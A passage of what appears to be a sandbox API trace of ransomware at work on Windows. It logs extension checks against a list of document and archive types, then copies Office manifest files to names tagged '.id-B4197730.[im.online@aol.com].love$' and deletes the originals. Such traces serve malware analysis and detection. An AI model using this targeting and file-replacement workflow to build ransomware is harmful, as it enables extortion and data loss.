(lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0110.023] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.024] lstrlenW (lpString=".doc") returned 4 [0110.024] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.024] lstrlenW (lpString=".docx") returned 5 [0110.024] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.024] lstrlenW (lpString=".pdf") returned 4 [0110.024] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.024] lstrlenW (lpString=".xls") returned 4 [0110.024] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.024] lstrlenW (lpString=".xlsx") returned 5 [0110.024] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.024] lstrlenW (lpString=".ppt") returned 4 [0110.024] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.024] lstrlenW (lpString=".zip") returned 4 [0110.024] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.024] lstrlenW (lpString=".rar") returned 4 [0110.024] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.024] lstrlenW (lpString=".bz2") returned 4 [0110.025] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString=".7z") returned 3 [0110.025] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.025] lstrlenW (lpString=".dbf") returned 4 [0110.025] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.025] lstrlenW (lpString=".1cd") returned 4 [0110.025] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.025] lstrlenW (lpString=".jpg") returned 4 [0110.025] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.025] lstrlenW (lpString=".doc") returned 4 [0110.025] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString=".docx") returned 5 [0110.025] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.025] lstrlenW (lpString=".pdf") returned 4 [0110.025] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString=".xls") returned 4 [0110.025] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString=".xlsx") returned 5 [0110.025] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.025] lstrlenW (lpString=".ppt") returned 4 [0110.025] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.026] lstrlenW (lpString=".zip") returned 4 [0110.026] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.026] lstrlenW (lpString=".rar") returned 4 [0110.026] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.026] lstrlenW (lpString=".bz2") returned 4 [0110.026] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.026] lstrlenW (lpString=".7z") returned 3 [0110.026] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.026] lstrlenW (lpString=".dbf") returned 4 [0110.026] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.026] lstrlenW (lpString=".1cd") returned 4 [0110.026] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0110.026] lstrlenW (lpString=".jpg") returned 4 [0110.026] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.026] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0110.026] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0110.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.028] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=1261) returned 1 [0110.028] CloseHandle (hObject=0x380) returned 1 [0110.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0110.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.029] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.029] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0110.030] GetLastError () returned 0x0 [0110.030] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0110.043] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0110.044] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.045] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0110.045] SetEndOfFile (hFile=0x2c8) returned 1 [0110.045] CloseHandle (hObject=0x2c8) returned 1 [0110.046] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.046] SetEndOfFile (hFile=0x380) returned 1 [0110.047] CloseHandle (hObject=0x380) returned 1 [0110.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0110.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.048] lstrlenW (lpString=".doc") returned 4 [0110.048] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.048] lstrlenW (lpString=".docx") returned 5 [0110.048] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.048] lstrlenW (lpString=".pdf") returned 4 [0110.048] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.048] lstrlenW (lpString=".xls") returned 4 [0110.048] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.048] lstrlenW (lpString=".xlsx") returned 5 [0110.049] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.049] lstrlenW (lpString=".ppt") returned 4 [0110.049] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString=".zip") returned 4 [0110.049] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.049] lstrlenW (lpString=".rar") returned 4 [0110.049] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString=".bz2") returned 4 [0110.049] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString=".7z") returned 3 [0110.049] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString=".dbf") returned 4 [0110.049] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString=".1cd") returned 4 [0110.049] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString=".jpg") returned 4 [0110.049] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.049] lstrlenW (lpString=".doc") returned 4 [0110.049] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.049] lstrlenW (lpString=".docx") returned 5 [0110.049] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.049] lstrlenW (lpString=".pdf") returned 4 [0110.050] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".xls") returned 4 [0110.050] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".xlsx") returned 5 [0110.050] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.050] lstrlenW (lpString=".ppt") returned 4 [0110.050] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.050] lstrlenW (lpString=".zip") returned 4 [0110.050] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.050] lstrlenW (lpString=".rar") returned 4 [0110.050] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".bz2") returned 4 [0110.050] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString=".7z") returned 3 [0110.050] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.050] lstrlenW (lpString=".dbf") returned 4 [0110.050] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.050] lstrlenW (lpString=".1cd") returned 4 [0110.050] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 104 [0110.050] lstrlenW (lpString=".jpg") returned 4 [0110.050] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.051] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0110.051] lstrlenW (lpString="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 53 [0110.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.052] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=253712) returned 1 [0110.052] CloseHandle (hObject=0x380) returned 1 [0110.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0110.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0110.053] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.053] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0110.053] GetLastError () returned 0x0 [0110.053] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x3df10, lpOverlapped=0x0) returned 1 [0110.063] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3df20, lpOverlapped=0x0) returned 1 [0110.068] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.068] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x13e, lpOverlapped=0x0) returned 1 [0110.069] SetEndOfFile (hFile=0x2c8) returned 1 [0110.069] CloseHandle (hObject=0x2c8) returned 1 [0110.635] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.635] SetEndOfFile (hFile=0x380) returned 1 [0110.639] CloseHandle (hObject=0x380) returned 1 [0110.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0110.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0110.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.640] lstrlenW (lpString=".doc") returned 4 [0110.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString=".docx") returned 5 [0110.640] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.640] lstrlenW (lpString=".pdf") returned 4 [0110.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString=".xls") returned 4 [0110.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString=".xlsx") returned 5 [0110.640] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.640] lstrlenW (lpString=".ppt") returned 4 [0110.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.640] lstrlenW (lpString=".zip") returned 4 [0110.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.640] lstrlenW (lpString=".rar") returned 4 [0110.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString=".bz2") returned 4 [0110.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.640] lstrlenW (lpString=".7z") returned 3 [0110.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString=".dbf") returned 4 [0110.641] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString=".1cd") returned 4 [0110.641] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString=".jpg") returned 4 [0110.641] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString=".doc") returned 4 [0110.641] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString=".docx") returned 5 [0110.641] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0110.641] lstrlenW (lpString=".pdf") returned 4 [0110.641] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString=".xls") returned 4 [0110.641] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString=".xlsx") returned 5 [0110.641] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0110.641] lstrlenW (lpString=".ppt") returned 4 [0110.641] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.641] lstrlenW (lpString=".zip") returned 4 [0110.641] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.642] lstrlenW (lpString=".rar") returned 4 [0110.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.642] lstrlenW (lpString=".bz2") returned 4 [0110.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.642] lstrlenW (lpString=".7z") returned 3 [0110.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.642] lstrlenW (lpString=".dbf") returned 4 [0110.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.642] lstrlenW (lpString=".1cd") returned 4 [0110.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned 104 [0110.642] lstrlenW (lpString=".jpg") returned 4 [0110.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.657] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0110.657] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53 [0110.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.171] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=19451) returned 1 [0111.171] CloseHandle (hObject=0x360) returned 1 [0111.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220 [0111.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0111.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0111.171] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.171] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.172] GetLastError () returned 0x0 [0111.172] ReadFile (in: hFile=0x360, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x4bfb, 